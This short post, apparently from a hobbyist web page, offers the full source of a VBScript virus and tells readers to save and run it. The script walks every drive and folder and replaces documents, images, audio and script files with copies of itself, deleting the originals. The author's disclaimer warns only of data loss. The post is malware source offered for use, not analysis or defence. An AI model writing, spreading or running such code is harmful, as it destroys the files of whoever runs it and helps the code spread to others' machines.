real visual basic script virus

a real virus can copy itself if you want a real virus that can infect other files then type this code and save as a .vbs
this is the code:
Set fso = WScript.CreateObject("Scripting.Filesystemobject")
For Each d In fso.Drives
If d.DriveType + 2 And d.IsReady = True Then
Call SubFolders(d & "\")
End If
Next

Function infect(path)
On Error Resume Next
Set fold = fso.GetFolder(path)
For Each f In fold.Files
ext = fso.GetExtensionName(f.path)
If (ext="doc") or (ext="txt") or (ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") or (ext="js") or (ext="mp2") or (ext="mp3") or (ext="vbs") or (ext="vbe") or (ext="jpeg") or (ext="jpg") Then
fso.CopyFile WScript.ScriptFullName, f.path & ".vbs", True
fso.DeleteFile f.Path, True
End if
Next
End Function

Function SubFolders(path)
On Error Resume next
For Each subf In fso.GetFolder(path).SubFolders
Call Infect(subf.Path)
Call SubFolders(subf.Path)
next
End function
save as .vbs
this virus overwrites files with these extentions:.doc,.txt,.js,.jse,.css,.wsh,.sct,.hta,.js,.mp2,.mp3 ,.vbs,.vbe,.jpeg,.jpg i am NOT responsible for any damage caused by this virus so PLEASE DO NOT RUN THIS SCRIPT UNLESS YOU WANT DATA LOSS